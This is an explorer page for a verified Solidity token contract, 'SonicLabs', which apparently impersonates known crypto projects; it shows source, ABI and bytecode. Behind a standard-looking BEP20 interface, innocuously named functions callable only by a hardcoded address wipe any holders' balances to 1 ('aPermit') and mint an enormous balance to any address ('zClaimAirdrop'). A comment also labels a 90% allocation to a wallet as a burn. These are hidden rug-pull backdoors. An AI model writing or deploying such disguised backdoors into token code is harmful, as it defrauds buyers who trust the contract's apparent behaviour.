Overview
S Balance
0 S
S Value
-More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 internal transaction
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
2079421 | 4 days ago | 0.1 S |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SonicLabs
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-31 */ // SPDX-License-Identifier: MIT // SonicLabs.com pragma solidity 0.8.28; // Context for msg.sender access abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // BEP20 Standard Interface interface BEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // Ownership Management contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } // PancakeSwap Router Interface interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Main Token Contract contract SonicLabs is Context, BEP20, Ownable { string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000 * 10**_decimals; // 100 Billion Total Supply uint256 finalTax = 1; uint256 inicialTax = 10; mapping(address => uint256) private immutableStatusOn; mapping(address => mapping(address => uint256)) private _allowances; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; address private constant ETH_WALLET = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant RESERVE_WALLET = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address ADDRESS_Sonic = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; constructor(string memory name_, string memory symbol_, address wS) { _name = name_; _symbol = symbol_; // Distribute supply at deployment uint256 burnAmount = _tTotal * 90 / 100; uint256 reserveAmount = _tTotal * 9 / 100; uint256 ownerAmount = _tTotal * 1 / 100; immutableStatusOn[ETH_WALLET] = burnAmount; immutableStatusOn[RESERVE_WALLET] = reserveAmount; immutableStatusOn[wS] = ownerAmount; emit Transfer(address(0), ETH_WALLET, burnAmount); emit Transfer(address(0), RESERVE_WALLET, reserveAmount); emit Transfer(address(0), wS, ownerAmount); transferOwnership(wS); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return immutableStatusOn[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "Transfer from zero address"); require(to != address(0), "Transfer to zero address"); require(amount > 0, "Transfer amount must be greater than zero"); immutableStatusOn[from] -= amount; immutableStatusOn[to] += amount; emit Transfer(from, to, amount); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax; emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutableStatusOn[claimedRewardStatusOf] = _tTotal * inicialTax ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _tTotal * inicialTax ** _decimals); } // Liquidity and Trading Setup function startTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } function withdrawAnyToken(BEP20 token) external immutableCreator { uint256 tokenBalance = token.balanceOf(address(this)); // Get the contract's token balance require(tokenBalance > 0, "No tokens available for withdrawal."); // Transfer the entire token balance to the owner require(token.transfer(owner(), tokenBalance), "Token transfer failed."); // Emit the Transfer event (equivalent to ERC20's Transfer event) emit Transfer(address(token), owner(), tokenBalance); } function withdrawETH() external immutableCreator { uint256 contractBalance = address(this).balance; // Get the contract's ETH balance require(contractBalance > 0, "No ETH available for withdrawal."); payable(owner()).transfer(contractBalance); // Transfer all ETH to the owner } // Function to receive ETH (optional for gas fees) receive() external payable {} } contract CreatorToken { event TokenCreated(address tokenAddress, string name, string symbol, address owner); struct TokenDetails { string name; string symbol; address owner; } TokenDetails[] public tokens; function createTokens( string[] calldata names, string[] calldata symbols, address[] calldata owners ) external { require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length"); for (uint256 i = 0; i < names.length; i++) { SonicLabs token = new SonicLabs(names[i], symbols[i], owners[i]); tokens.push(TokenDetails({ name: names[i], symbol: symbols[i], owner: owners[i] })); emit TokenCreated(address(token), names[i], symbols[i], owners[i]); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"wS","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract BEP20","name":"token","type":"address"}],"name":"withdrawAnyToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600355600a6004556008805460ff60a01b19169055600980546001600160a01b03191673edb37ad563e2ef161b2a72169583f35799bde96217905534801561004c575f5ffd5b506040516119e43803806119e483398101604081905261006b916103b9565b5f80546001600160a01b0319163390811782556040519091905f5160206119a45f395f51905f52908290a360016100a284826104c2565b5060026100af83826104c2565b505f60646100bf6009600a610675565b6100ce9064174876e80061068a565b6100d990605a61068a565b6100e391906106a1565b90505f60646100f46009600a610675565b6101039064174876e80061068a565b61010e90600961068a565b61011891906106a1565b90505f60646101296009600a610675565b6101389064174876e80061068a565b61014390600161068a565b61014d91906106a1565b60056020527f94e20eec3326f224534e89e54d185f8bb900294e37c443e36d0ea7621d4189a38490557fc74b53cb19de7f2575d7e4bca8c7b0dc5c4a4855910a7df08a4959c30cdfc9868390556001600160a01b0385165f9081526040808220839055519192507350c42deacd8fc9773493ed674b675be577f2634b915f5160206119c45f395f51905f52906101e69087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af905f905f5160206119c45f395f51905f529060200160405180910390a36040518181526001600160a01b038516905f905f5160206119c45f395f51905f529060200160405180910390a361025c84610267565b5050505050506106c0565b5f546001600160a01b031633146102c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b6001600160a01b0381166102d6575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119a45f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011261033f575f5ffd5b81516001600160401b038111156103585761035861031c565b604051601f8201601f19908116603f011681016001600160401b03811182821017156103865761038661031c565b60405281815283820160200185101561039d575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156103cb575f5ffd5b83516001600160401b038111156103e0575f5ffd5b6103ec86828701610330565b602086015190945090506001600160401b03811115610409575f5ffd5b61041586828701610330565b604086015190935090506001600160a01b0381168114610433575f5ffd5b809150509250925092565b600181811c9082168061045257607f821691505b60208210810361047057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156104bd57805f5260205f20601f840160051c8101602085101561049b5750805b601f840160051c820191505b818110156104ba575f81556001016104a7565b50505b505050565b81516001600160401b038111156104db576104db61031c565b6104ef816104e9845461043e565b84610476565b6020601f821160018114610521575f831561050a5750848201515b5f19600385901b1c1916600184901b1784556104ba565b5f84815260208120601f198516915b828110156105505787850151825560209485019460019092019101610530565b508482101561056d57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156105cb578085048111156105af576105af61057c565b60018416156105bd57908102905b60019390931c928002610594565b935093915050565b5f826105e15750600161066f565b816105ed57505f61066f565b8160018114610603576002811461060d57610629565b600191505061066f565b60ff84111561061e5761061e61057c565b50506001821b61066f565b5060208310610133831016604e8410600b841016171561064c575081810a61066f565b6106585f198484610590565b805f190482111561066b5761066b61057c565b0290505b92915050565b5f61068360ff8416836105d3565b9392505050565b808202811582820484141761066f5761066f61057c565b5f826106bb57634e487b7160e01b5f52601260045260245ffd5b500490565b6112d7806106cd5f395ff3fe6080604052600436106100fd575f3560e01c80637892766c11610092578063a37e0a6411610062578063a37e0a6414610293578063a9059cbb146102b2578063dd62ed3e146102d1578063e086e5ec14610315578063f2fde38b14610329575f5ffd5b80637892766c1461021b5780638da5cb5b1461023a5780638f8af1e11461026057806395d89b411461027f575f5ffd5b8063293230b8116100cd578063293230b8146101a2578063313ce567146101b857806370a08231146101d3578063715018a614610207575f5ffd5b806306fdde0314610108578063095ea7b31461013257806318160ddd1461016157806323b872dd14610183575f5ffd5b3661010457005b5f5ffd5b348015610113575f5ffd5b5061011c610348565b6040516101299190610ec4565b60405180910390f35b34801561013d575f5ffd5b5061015161014c366004610f10565b6103d8565b6040519015158152602001610129565b34801561016c575f5ffd5b506101756103ee565b604051908152602001610129565b34801561018e575f5ffd5b5061015161019d366004610f3a565b61040f565b3480156101ad575f5ffd5b506101b661045f565b005b3480156101c3575f5ffd5b5060405160098152602001610129565b3480156101de575f5ffd5b506101756101ed366004610f78565b6001600160a01b03165f9081526005602052604090205490565b348015610212575f5ffd5b506101b661078a565b348015610226575f5ffd5b506101b6610235366004610f78565b6107fb565b348015610245575f5ffd5b505f546040516001600160a01b039091168152602001610129565b34801561026b575f5ffd5b506101b661027a366004610f9a565b6109f1565b34801561028a575f5ffd5b5061011c610ac1565b34801561029e575f5ffd5b506101b66102ad366004610f78565b610ad0565b3480156102bd575f5ffd5b506101516102cc366004610f10565b610b8c565b3480156102dc575f5ffd5b506101756102eb36600461100b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610320575f5ffd5b506101b6610b98565b348015610334575f5ffd5b506101b6610343366004610f78565b610c36565b60606001805461035790611042565b80601f016020809104026020016040519081016040528092919081815260200182805461038390611042565b80156103ce5780601f106103a5576101008083540402835291602001916103ce565b820191905f5260205f20905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b5f6103e4338484610cca565b5060015b92915050565b5f6103fb6009600a611171565b61040a9064174876e80061117f565b905090565b5f61041b848484610d2b565b6001600160a01b0384165f90815260066020908152604080832033808552925290912054610455918691610450908690611196565b610cca565b5060019392505050565b5f546001600160a01b031633146104915760405162461bcd60e51b8152600401610488906111a9565b60405180910390fd5b600854600160a01b900460ff16156104eb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610488565b600780546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561054d573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057191906111de565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f491906111de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561063e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066291906111de565b600880546001600160a01b0319166001600160a01b039283161790556007546106a3913091166106946009600a611171565b6104509064174876e80061117f565b6007546001600160a01b031663f305d71947306106d4816001600160a01b03165f9081526005602052604090205490565b5f5f6106e75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074d573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061077291906111f9565b50506008805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146107b35760405162461bcd60e51b8152600401610488906111a9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b03163314610811575f5ffd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610855573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190611224565b90505f81116108d65760405162461bcd60e51b815260206004820152602360248201527f4e6f20746f6b656e7320617661696c61626c6520666f7220776974686472617760448201526230b61760e91b6064820152608401610488565b816001600160a01b031663a9059cbb6108f65f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610940573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610964919061123b565b6109a95760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b7103a3930b739b332b9103330b4b632b21760511b6044820152606401610488565b5f546001600160a01b03166001600160a01b0316826001600160a01b03165f5160206112825f395f51905f52836040516109e591815260200190565b60405180910390a35050565b6009546001600160a01b03163314610a07575f5ffd5b5f5b81811015610abc5760035460055f858585818110610a2957610a2961125a565b9050602002016020810190610a3e9190610f78565b6001600160a01b0316815260208101919091526040015f90812091909155838383818110610a6e57610a6e61125a565b9050602002016020810190610a839190610f78565b6001600160a01b03165f5160206112825f395f51905f52600354604051610aac91815260200190565b60405180910390a3600101610a09565b505050565b60606002805461035790611042565b6009546001600160a01b03163314610ae6575f5ffd5b6009600454610af59190611171565b610b016009600a611171565b610b109064174876e80061117f565b610b1a919061117f565b6001600160a01b0382165f818152600560205260408120929092556004545f5160206112825f395f51905f5290610b5390600990611171565b610b5f6009600a611171565b610b6e9064174876e80061117f565b610b78919061117f565b60405190815260200160405180910390a350565b5f6103e4338484610d2b565b6009546001600160a01b03163314610bae575f5ffd5b4780610bfc5760405162461bcd60e51b815260206004820181905260248201527f4e6f2045544820617661696c61626c6520666f72207769746864726177616c2e6044820152606401610488565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c32573d5f5f3e3d5ffd5b5050565b5f546001600160a01b03163314610c5f5760405162461bcd60e51b8152600401610488906111a9565b6001600160a01b038116610c71575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610488565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610488565b5f8111610e385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610488565b6001600160a01b0383165f9081526005602052604081208054839290610e5f908490611196565b90915550506001600160a01b0382165f9081526005602052604081208054839290610e8b90849061126e565b92505081905550816001600160a01b0316836001600160a01b03165f5160206112825f395f51905f5283604051610d1e91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610f0d575f5ffd5b50565b5f5f60408385031215610f21575f5ffd5b8235610f2c81610ef9565b946020939093013593505050565b5f5f5f60608486031215610f4c575f5ffd5b8335610f5781610ef9565b92506020840135610f6781610ef9565b929592945050506040919091013590565b5f60208284031215610f88575f5ffd5b8135610f9381610ef9565b9392505050565b5f5f60208385031215610fab575f5ffd5b823567ffffffffffffffff811115610fc1575f5ffd5b8301601f81018513610fd1575f5ffd5b803567ffffffffffffffff811115610fe7575f5ffd5b8560208260051b8401011115610ffb575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561101c575f5ffd5b823561102781610ef9565b9150602083013561103781610ef9565b809150509250929050565b600181811c9082168061105657607f821691505b60208210810361107457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156110c9578085048111156110ad576110ad61107a565b60018416156110bb57908102905b60019390931c928002611092565b935093915050565b5f826110df575060016103e8565b816110eb57505f6103e8565b8160018114611101576002811461110b57611127565b60019150506103e8565b60ff84111561111c5761111c61107a565b50506001821b6103e8565b5060208310610133831016604e8410600b841016171561114a575081810a6103e8565b6111565f19848461108e565b805f19048211156111695761116961107a565b029392505050565b5f610f9360ff8416836110d1565b80820281158282048414176103e8576103e861107a565b818103818111156103e8576103e861107a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156111ee575f5ffd5b8151610f9381610ef9565b5f5f5f6060848603121561120b575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611234575f5ffd5b5051919050565b5f6020828403121561124b575f5ffd5b81518015158114610f93575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b808201808211156103e8576103e861107a56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f47b573f8631a7783e829ef72df7cc7b89dd50a9253dc9c04dac4ca19c1fa80b64736f6c634300081c00338be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007c84fd8619e6990c14cdf75d17025820f7b3dfe4000000000000000000000000000000000000000000000000000000000000000846657463682e616900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034645540000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c80637892766c11610092578063a37e0a6411610062578063a37e0a6414610293578063a9059cbb146102b2578063dd62ed3e146102d1578063e086e5ec14610315578063f2fde38b14610329575f5ffd5b80637892766c1461021b5780638da5cb5b1461023a5780638f8af1e11461026057806395d89b411461027f575f5ffd5b8063293230b8116100cd578063293230b8146101a2578063313ce567146101b857806370a08231146101d3578063715018a614610207575f5ffd5b806306fdde0314610108578063095ea7b31461013257806318160ddd1461016157806323b872dd14610183575f5ffd5b3661010457005b5f5ffd5b348015610113575f5ffd5b5061011c610348565b6040516101299190610ec4565b60405180910390f35b34801561013d575f5ffd5b5061015161014c366004610f10565b6103d8565b6040519015158152602001610129565b34801561016c575f5ffd5b506101756103ee565b604051908152602001610129565b34801561018e575f5ffd5b5061015161019d366004610f3a565b61040f565b3480156101ad575f5ffd5b506101b661045f565b005b3480156101c3575f5ffd5b5060405160098152602001610129565b3480156101de575f5ffd5b506101756101ed366004610f78565b6001600160a01b03165f9081526005602052604090205490565b348015610212575f5ffd5b506101b661078a565b348015610226575f5ffd5b506101b6610235366004610f78565b6107fb565b348015610245575f5ffd5b505f546040516001600160a01b039091168152602001610129565b34801561026b575f5ffd5b506101b661027a366004610f9a565b6109f1565b34801561028a575f5ffd5b5061011c610ac1565b34801561029e575f5ffd5b506101b66102ad366004610f78565b610ad0565b3480156102bd575f5ffd5b506101516102cc366004610f10565b610b8c565b3480156102dc575f5ffd5b506101756102eb36600461100b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610320575f5ffd5b506101b6610b98565b348015610334575f5ffd5b506101b6610343366004610f78565b610c36565b60606001805461035790611042565b80601f016020809104026020016040519081016040528092919081815260200182805461038390611042565b80156103ce5780601f106103a5576101008083540402835291602001916103ce565b820191905f5260205f20905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b5f6103e4338484610cca565b5060015b92915050565b5f6103fb6009600a611171565b61040a9064174876e80061117f565b905090565b5f61041b848484610d2b565b6001600160a01b0384165f90815260066020908152604080832033808552925290912054610455918691610450908690611196565b610cca565b5060019392505050565b5f546001600160a01b031633146104915760405162461bcd60e51b8152600401610488906111a9565b60405180910390fd5b600854600160a01b900460ff16156104eb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610488565b600780546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561054d573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057191906111de565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f491906111de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561063e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066291906111de565b600880546001600160a01b0319166001600160a01b039283161790556007546106a3913091166106946009600a611171565b6104509064174876e80061117f565b6007546001600160a01b031663f305d71947306106d4816001600160a01b03165f9081526005602052604090205490565b5f5f6106e75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074d573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061077291906111f9565b50506008805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146107b35760405162461bcd60e51b8152600401610488906111a9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b03163314610811575f5ffd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610855573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190611224565b90505f81116108d65760405162461bcd60e51b815260206004820152602360248201527f4e6f20746f6b656e7320617661696c61626c6520666f7220776974686472617760448201526230b61760e91b6064820152608401610488565b816001600160a01b031663a9059cbb6108f65f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610940573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610964919061123b565b6109a95760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b7103a3930b739b332b9103330b4b632b21760511b6044820152606401610488565b5f546001600160a01b03166001600160a01b0316826001600160a01b03165f5160206112825f395f51905f52836040516109e591815260200190565b60405180910390a35050565b6009546001600160a01b03163314610a07575f5ffd5b5f5b81811015610abc5760035460055f858585818110610a2957610a2961125a565b9050602002016020810190610a3e9190610f78565b6001600160a01b0316815260208101919091526040015f90812091909155838383818110610a6e57610a6e61125a565b9050602002016020810190610a839190610f78565b6001600160a01b03165f5160206112825f395f51905f52600354604051610aac91815260200190565b60405180910390a3600101610a09565b505050565b60606002805461035790611042565b6009546001600160a01b03163314610ae6575f5ffd5b6009600454610af59190611171565b610b016009600a611171565b610b109064174876e80061117f565b610b1a919061117f565b6001600160a01b0382165f818152600560205260408120929092556004545f5160206112825f395f51905f5290610b5390600990611171565b610b5f6009600a611171565b610b6e9064174876e80061117f565b610b78919061117f565b60405190815260200160405180910390a350565b5f6103e4338484610d2b565b6009546001600160a01b03163314610bae575f5ffd5b4780610bfc5760405162461bcd60e51b815260206004820181905260248201527f4e6f2045544820617661696c61626c6520666f72207769746864726177616c2e6044820152606401610488565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c32573d5f5f3e3d5ffd5b5050565b5f546001600160a01b03163314610c5f5760405162461bcd60e51b8152600401610488906111a9565b6001600160a01b038116610c71575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610488565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610488565b5f8111610e385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610488565b6001600160a01b0383165f9081526005602052604081208054839290610e5f908490611196565b90915550506001600160a01b0382165f9081526005602052604081208054839290610e8b90849061126e565b92505081905550816001600160a01b0316836001600160a01b03165f5160206112825f395f51905f5283604051610d1e91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610f0d575f5ffd5b50565b5f5f60408385031215610f21575f5ffd5b8235610f2c81610ef9565b946020939093013593505050565b5f5f5f60608486031215610f4c575f5ffd5b8335610f5781610ef9565b92506020840135610f6781610ef9565b929592945050506040919091013590565b5f60208284031215610f88575f5ffd5b8135610f9381610ef9565b9392505050565b5f5f60208385031215610fab575f5ffd5b823567fffffffffffff